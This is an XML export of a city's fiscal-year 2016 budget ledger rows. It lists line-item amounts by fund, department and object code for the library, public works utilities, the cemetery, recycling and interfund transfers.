<row _id="22221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>95</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95</total></row>
<row _id="22222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>68913</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68913</total></row>
<row _id="22223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>66000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66000</total></row>
<row _id="22224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1995</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1995</total></row>
<row _id="22225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4750</total></row>
<row _id="22226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1405</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1405</total></row>
<row _id="22227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9795</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9795</total></row>
<row _id="22228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544170.0</object><object_description>UNIF/PROTECIVE CLOTHING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6200</total></row>
<row _id="22229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>109000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>109000</total></row>
<row _id="22230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>63414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63414</total></row>
<row _id="22231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1651797</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1651797</total></row>
<row _id="22232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1600</total></row>
<row _id="22233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3060919</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3060919</total></row>
<row _id="22234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>317</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>317</total></row>
<row _id="22235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5591161</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5591161</total></row>
<row _id="22236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25462</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25462</total></row>
<row _id="22237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>170000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>170000</total></row>
<row _id="22238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544270.0</object><object_description>BIN PARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75000</total></row>
<row _id="22239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16124</total></row>
<row _id="22240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="22241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4148</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4148</total></row>
<row _id="22242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2484</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2484</total></row>
<row _id="22243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15575</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15575</total></row>
<row _id="22244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>235247</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>235247</total></row>
<row _id="22245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9288</total></row>
<row _id="22246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>33993</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33993</total></row>
<row _id="22247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2400</total></row>
<row _id="22248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMBURSEMENT-HUMAN SVCS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-55000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-55000</total></row>
<row _id="22249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FD REIMBURSEMENT FROM PIER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>197842</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>197842</total></row>
<row _id="22250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-1170472</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1170472</total></row>
<row _id="22251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19000</total></row>
<row _id="22252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>303107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>303107</total></row>
<row _id="22253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1479879</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1479879</total></row>
<row _id="22254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-110000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-110000</total></row>
<row _id="22255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-154500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-154500</total></row>
<row _id="22256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402200.0</object><object_description>CEMETERY LOT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-548454</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-548454</total></row>
<row _id="22257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="22258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-55000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-55000</total></row>
<row _id="22259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405550.0</object><object_description>DOMESTIC PARTNERSHIP FLNG FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400</total></row>
<row _id="22260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401360.0</object><object_description>GEN PROM BUS LICENSE MAIN ST.</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-6100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6100</total></row>
<row _id="22261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>77185</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>77185</total></row>
<row _id="22263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14485</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14485</total></row>
<row _id="22264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80000</total></row>
<row _id="22266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588040.0</object><object_description>COMMUNICATIONS SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="22267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="22268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577220.0</object><object_description>INTEREST EXPENSE - BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>266550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>266550</total></row>
<row _id="22269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>51595</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51595</total></row>
